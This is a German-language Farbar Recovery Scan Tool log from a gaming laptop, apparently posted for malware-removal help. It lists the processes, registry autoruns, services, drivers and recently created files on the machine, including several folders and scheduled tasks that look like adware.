Internet Explorer Version 11 (Standard-Browser: FF)
Start-Modus: Normal
Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe
(Intel Corporation) C:\Windows\System32\ibtsiva.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HotkeyService.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe
(Insyde Software Corp.) C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxEM.exe
(IvoSoft) C:\Program Files\Classic Shell\ClassicStartMenu.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\Overwolf.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HkeyTray.exe
(Creative Technology Ltd) C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\0.104.210.0\OverwolfBrowser.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper64.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\ComboKeyTray.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamuseragent.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Microsoft Corporation) C:\Windows\System32\wbem\WMIADAP.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16781824 2017-04-12] (Realtek Semiconductor)
HKLM\...\Run: [ShadowPlay] => "C:\windows\system32\rundll32.exe" C:\windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [MBCfg64] => C:\windows\system32\RunDLL32.exe C:\windows\system32\MBCfg64.dll,RunDLLEntry MBCfg64
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320568 2016-09-20] (Intel Corporation)
HKLM\...\Run: [Classic Start Menu] => C:\Program Files\Classic Shell\ClassicStartMenu.exe [163800 2016-07-30] (IvoSoft)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [Sound Blaster Cinema 3] => C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe [1464832 2016-07-29] (Creative Technology Ltd)
HKLM-x32\...\Run: [UpdReg] => C:\windows\UpdReg.EXE [90112 2000-05-11] (Creative Technology Ltd.)
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Overwolf] => C:\Program Files (x86)\Overwolf\OverwolfLauncher.exe [1058360 2017-05-14] ()
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Steam] => D:\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation)
HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716\...\Run: [Overwolf] => C:\Program Files (x86)\Overwolf\OverwolfLauncher.exe [1058360 2017-05-14] ()
HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716\...\Run: [Steam] => D:\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation)
ShellIconOverlayIdentifiers: [JzShlobj] -> {9A0700D2-920A-4E52-8697-9B5230C92612} =>  -> Keine Datei
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\NewShortcut1.lnk [2017-05-12]
ShortcutTarget: NewShortcut1.lnk -> C:\Program Files (x86)\Hotkey\HkeyTray.exe (CLEVO CO.)
CHR HKLM\SOFTWARE\Policies\Google: Beschränkung <======= ACHTUNG

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Hosts: Es ist mehr als ein Eintrag in der Hosts Datei zu finden. Siehe Hosts-Bereich in Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\Parameters: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{05350888-1e85-11e7-9c91-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{342f28b7-2f96-4d98-90c7-8e4ffe97a81f}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [DhcpNameServer] 8.8.8.8

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Start Page =
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.mysn.de
HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716\Software\Microsoft\Internet Explorer\Main,Start Page =
HKU\S-1-5-21-743485210-3963512150-464095969-1003-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-06032017004406716\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.mysn.de

FireFox:
========
FF DefaultProfile: bckp6m63.default
FF ProfilePath: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default [2017-06-03]
FF user.js: detected! => C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js [2017-06-02]
FF Extension: (Adblock Plus) - C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-05-31]
FF Plugin-x32: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files (x86)\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-05-01] (NVIDIA Corporation)
FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-05-01] (NVIDIA Corporation)
FF ExtraCheck: C:\Program Files (x86)\mozilla firefox\browser\defaults\preferences\firefox.js [2017-06-02]

Chrome:
=======
CHR HKLM-x32\...\Chrome\Extension: [ccjleegmemocfpghkhpjmiccjcacackp] - hxxps://clients2.google.com/service/update2/crx

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 cphs; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe [284144 2016-11-21] (Intel Corporation)
R2 cplspcon; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe [462832 2016-11-21] (Intel Corporation)
R2 HKClipSvc; C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe [256480 2015-11-26] (Insyde Software Corp.)
R2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe [17976 2016-09-20] (Intel Corporation)
R2 igfxCUIService2.0.0.0; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe [324592 2016-11-21] (Intel Corporation)
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [630048 2016-10-13] (Intel(R) Corporation)
R3 Intel(R) Online Connect; C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe [25312 2016-11-01] (Intel Corporation)
S2 Intel(R) Online Connect Helper; C:\Program Files\Intel\Intel(R) Online Connect\iocHelperService.exe [34528 2016-11-01] (Intel Corporation)
S3 Intel(R) Online Connect Software Asset Manager; C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [18152 2016-10-14] (Intel Corporation)
R2 Intel(R) TechnologyAccessLegacyCSLoader; C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe [173288 2016-10-17] (Intel(R) Corporation)
R2 Intel(R) TechnologyAccessService; C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe [496872 2016-10-17] (Intel(R) Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [177440 2016-11-08] (Intel Corporation)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-05-01] (NVIDIA Corporation)
R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [450168 2017-05-03] (NVIDIA Corporation)
S3 OverwolfUpdater; C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [1326408 2017-05-14] (Overwolf LTD)
R2 PowerBiosServer; C:\Program Files (x86)\Hotkey\HotkeyService.exe [33280 2016-12-05] (CLEVO CO.) [Datei ist nicht signiert]
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [257624 2017-02-07] (Synaptics Incorporated)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10884848 2017-05-23] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 AirplaneModeHid; C:\windows\system32\DRIVERS\AirplaneModeHid.sys [33496 2015-10-01] (Insyde Corporation)
R1 ESProtectionDriver; C:\windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R0 FPWinIo; C:\windows\System32\drivers\FPWinIo.sys [23536 2014-10-07] (Egis Technology Inc.)
R3 HKKbdFltr; C:\windows\system32\DRIVERS\HKKbdFltr.sys [51400 2015-11-26] (Insyde Software Corp.)
R3 HKMouFltr; C:\windows\system32\DRIVERS\HKMouFltr.sys [48344 2015-11-26] (Insyde Software Corp.)
R3 ibtusb; C:\windows\system32\DRIVERS\ibtusb.sys [173576 2017-03-10] (Intel Corporation)
R3 igfx; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igdkmd64.sys [11039704 2016-11-21] (Intel Corporation)
R2 MBAMChameleon; C:\windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-03] (Malwarebytes)
R3 MBAMFarflt; C:\windows\system32\drivers\farflt.sys [113592 2017-06-03] (Malwarebytes)
R3 MBAMProtection; C:\windows\system32\drivers\mbam.sys [44960 2017-06-03] (Malwarebytes)
R0 MBAMSwissArmy; C:\windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-03] (Malwarebytes)
R3 MBAMWebProtection; C:\windows\system32\drivers\mwac.sys [93600 2017-06-03] (Malwarebytes)
R1 ndisrd; C:\windows\system32\DRIVERS\ndisrfl.sys [59792 2016-09-13] (Intel Corporation)
R3 Netwtw04; C:\windows\System32\drivers\Netwtw04.sys [7218176 2017-03-18] (Intel Corporation)
R3 nvlddmkm; C:\windows\System32\DriverStore\FileRepository\nvcvwu.inf_amd64_166fee8ea72cb783\nvlddmkm.sys [14456920 2017-05-18] (NVIDIA Corporation)
R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-05-03] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\windows\system32\drivers\nvvad64v.sys [48248 2017-05-03] (NVIDIA Corporation)
R3 nvvhci; C:\windows\System32\drivers\nvvhci.sys [57976 2017-05-03] (NVIDIA Corporation)
R3 rt640x64; C:\windows\System32\drivers\rt640x64.sys [943112 2016-08-01] (Realtek                                            )
R3 RTSPER; C:\windows\system32\DRIVERS\RtsPer.sys [779232 2016-08-05] (Realsil Semiconductor Corporation)
S3 SDFRd; C:\windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()
R3 SmbDrvI; C:\windows\system32\DRIVERS\Smb_driver_Intel.sys [64088 2017-02-07] (Synaptics Incorporated)
S3 WdBoot; C:\windows\system32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)
S3 WdFilter; C:\windows\system32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)
S3 WdNisDrv; C:\windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
S3 AIDA64Driver; \??\C:\Users\Administrator\Desktop\XSTRA\Apps\AIDA64\kerneld.x64 [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 00:41 - 2017-06-03 00:41 - 00377703 _____ C:\Users\****\Desktop\mbam.txt
2017-06-03 00:20 - 2017-06-03 00:38 - 00252832 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-03 00:20 - 2017-06-03 00:38 - 00113592 _____ (Malwarebytes) C:\windows\system32\Drivers\farflt.sys
2017-06-03 00:20 - 2017-06-03 00:38 - 00093600 _____ (Malwarebytes) C:\windows\system32\Drivers\mwac.sys
2017-06-03 00:20 - 2017-06-03 00:38 - 00044960 _____ (Malwarebytes) C:\windows\system32\Drivers\mbam.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00188312 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMChameleon.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00001918 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-03 00:20 - 2017-05-31 11:09 - 00077376 _____ C:\windows\system32\Drivers\mbae64.sys
2017-06-03 00:19 - 2017-06-03 00:19 - 64025992 _____ (Malwarebytes ) C:\Users\****\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.139-1.0.2060.exe
2017-06-03 00:15 - 2017-06-03 00:15 - 00060223 _____ C:\Users\****\Downloads\https _de.malwarebytes.com_.htm
2017-06-03 00:08 - 2017-06-03 00:08 - 00022413 _____ C:\Users\****\Desktop\AdwCleaner[C0].txt
2017-06-03 00:07 - 2017-06-03 00:07 - 00021228 _____ C:\Users\****\Desktop\AdwCleaner[S0].txt
2017-06-03 00:05 - 2017-06-03 00:42 - 00000000 ____D C:\AdwCleaner
2017-06-03 00:04 - 2017-06-03 00:04 - 04110280 _____ C:\Users\****\Downloads\adwcleaner_6.047.exe
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-06-02 18:14 - 2017-06-02 18:14 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
2017-06-02 18:06 - 2017-06-02 18:07 - 00080000 _____ C:\Users\****\Desktop\Neues Textdokument.txt
2017-06-02 18:04 - 2017-06-02 18:04 - 00000000 _____ C:\Users\****\Desktop\FRST2.txt
2017-06-02 18:02 - 2017-06-02 18:04 - 00043675 _____ C:\Users\****\Desktop\Addition.txt
2017-06-02 17:42 - 2017-06-03 00:45 - 00017436 _____ C:\Users\****\Desktop\FRST.txt
2017-06-02 17:42 - 2017-06-03 00:45 - 00000000 ____D C:\FRST
2017-06-02 17:42 - 2017-06-02 17:41 - 02433536 _____ (Farbar) C:\Users\****\Desktop\FRST64.exe
2017-06-02 17:11 - 2017-06-02 17:11 - 14383616 _____ C:\Users\****\Downloads\gta_sa.exe
2017-06-02 17:06 - 2017-06-02 17:06 - 00004180 _____ C:\windows\System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9}
2017-06-02 17:06 - 2017-06-02 17:06 - 00003880 _____ C:\windows\System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352}
2017-06-02 17:06 - 2017-06-02 17:06 - 00000000 ____H C:\windows\system32\BIT2B7.tmp
2017-06-02 17:05 - 2017-06-02 17:05 - 00003764 _____ C:\windows\System32\Tasks\updater
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Maoha
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Ferbis
2017-06-02 17:05 - 2016-12-27 04:34 - 00025432 _____ C:\windows\system32\Drivers\vcdrom.sys
2017-06-02 17:04 - 2017-06-03 00:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Reerkucultprifery
2017-06-02 17:04 - 2017-06-03 00:10 - 00000008 __RSH C:\ProgramData\ntuser.pol
2017-06-02 17:04 - 2017-06-03 00:02 - 00000147 _____ C:\ServiceLog.txt
2017-06-02 17:04 - 2017-06-02 17:04 - 00140800 _____ C:\Users\****\AppData\Local\installer.dat
2017-06-02 17:04 - 2017-06-02 17:04 - 00011568 _____ C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\windows\system32\sstmp
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Roaming\uTorrent
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Local\Atokuther
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Program Files\Common Files\FNDP6U
2017-06-02 16:46 - 2017-06-02 16:46 - 00000201 _____ C:\Users\****\Desktop\Grand Theft Auto San Andreas.url
2017-06-02 16:38 - 2017-06-02 16:39 - 00000783 _____ C:\Users\****\Desktop\settings.ini
2017-06-02 16:38 - 2017-06-02 16:39 - 00000148 _____ C:\Users\****\Desktop\fahndungen.ini
2017-06-02 16:29 - 2016-12-28 17:32 - 00827392 _____ C:\Users\****\Desktop\SAPDBinder.exe
2017-06-02 16:27 - 2017-06-02 16:27 - 00725157 _____ C:\windows\unins000.exe
2017-06-02 16:26 - 2017-06-02 16:26 - 00001118 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00001106 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:28 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:25 - 15507008 _____ (TeamViewer GmbH) C:\Users\****\Downloads\TeamViewer_Setup.exe
2017-06-02 16:14 - 2017-06-02 16:27 - 00006598 _____ C:\windows\unins000.dat
2017-06-01 22:05 - 2017-06-01 22:05 - 00004000 _____ C:\windows\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-06-01 22:05 - 2017-05-03 21:28 - 00001951 _____ C:\windows\NvTelemetryContainerRecovery.bat
2017-06-01 22:04 - 2017-06-01 22:04 - 00000000 ____D C:\windows\LastGood
2017-06-01 22:04 - 2017-05-03 22:21 - 00143480 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvaudcap32v.dll
2017-06-01 20:50 - 2017-06-01 20:50 - 00000000 ____D C:\Users\****\AppData\Local\ElevatedDiagnostics
2017-06-01 18:03 - 2017-06-01 19:56 - 00000000 ____D C:\Donads-Keybinder
2017-06-01 17:57 - 2017-06-01 17:57 - 00417280 _____ C:\Users\****\Desktop\Donads_Keybinder.exe
2017-06-01 11:31 - 2017-06-01 11:31 - 01105408 _____ C:\windows\eb40a68307d6d6774101e0cc417db863.exe
2017-06-01 11:31 - 2017-06-01 11:31 - 00051644 _____ C:\windows\uninstaller.dat
2017-05-31 21:59 - 2017-05-31 22:22 - 00000795 _____ C:\Users\****\Desktop\Daten.ini
2017-05-31 21:59 - 2017-03-31 16:15 - 00808448 _____ C:\Users\****\Desktop\FIB.exe
2017-05-31 20:56 - 2017-05-31 20:56 - 00000000 ____D C:\windows\San Andreas Mod Installer
2017-05-31 20:08 - 2017-05-31 20:08 - 00000000 ____D C:\Program Files (x86)\VulkanRT
2017-05-31 20:08 - 2017-05-01 22:14 - 00134592 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvStreaming.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00536864 _____ C:\windows\system32\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00525600 _____ C:\windows\SysWOW64\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00254240 _____ C:\windows\system32\vulkaninfo.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00233760 _____ C:\windows\SysWOW64\vulkaninfo.exe
2017-05-31 20:07 - 2017-05-31 20:07 - 00000000 ____D C:\windows\LastGood.Tmp
2017-05-31 18:59 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband Savegames
2017-05-31 15:30 - 2017-05-31 15:30 - 00000000 ____D C:\Users\****\AppData\Local\Arktos Entertainment
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\Documents\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\CrashRpt
2017-05-31 14:55 - 2017-05-31 15:09 - 00000000 ____D C:\windows\SysWOW64\directx
2017-05-31 14:55 - 2017-05-31 14:55 - 00292184 _____ (Microsoft Corporation) C:\Users\****\Downloads\dxwebsetup.exe
2017-05-31 14:27 - 2017-05-31 14:27 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\San Andreas Multiplayer
2017-05-31 14:26 - 2017-05-31 15:12 - 00000000 ____D C:\Users\****\Documents\GTA San Andreas User Files
2017-05-31 14:26 - 2015-04-27 04:50 - 00412672 _____ C:\Users\****\Desktop\samp.exe
2017-05-31 13:59 - 2017-05-31 14:02 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA
2017-05-31 13:59 - 2017-05-31 13:59 - 00000000 ____D C:\Users\****\AppData\Local\Chromium
2017-05-31 13:47 - 2017-05-31 13:48 - 16270006 _____ C:\Users\****\Downloads\sa-mp-0.3.7-install.exe
2017-05-31 13:45 - 2017-05-31 19:00 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband
2017-05-31 13:45 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\AppData\Roaming\Mount&Blade Warband
2017-05-30 22:47 - 2017-05-30 22:47 - 00000200 _____ C:\Users\****\Desktop\Garry's Mod.url
2017-05-30 22:16 - 2017-05-30 22:16 - 00000202 _____ C:\Users\****\Desktop\Tabletop Simulator.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Stellaris.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Men of War Assault Squad 2.url
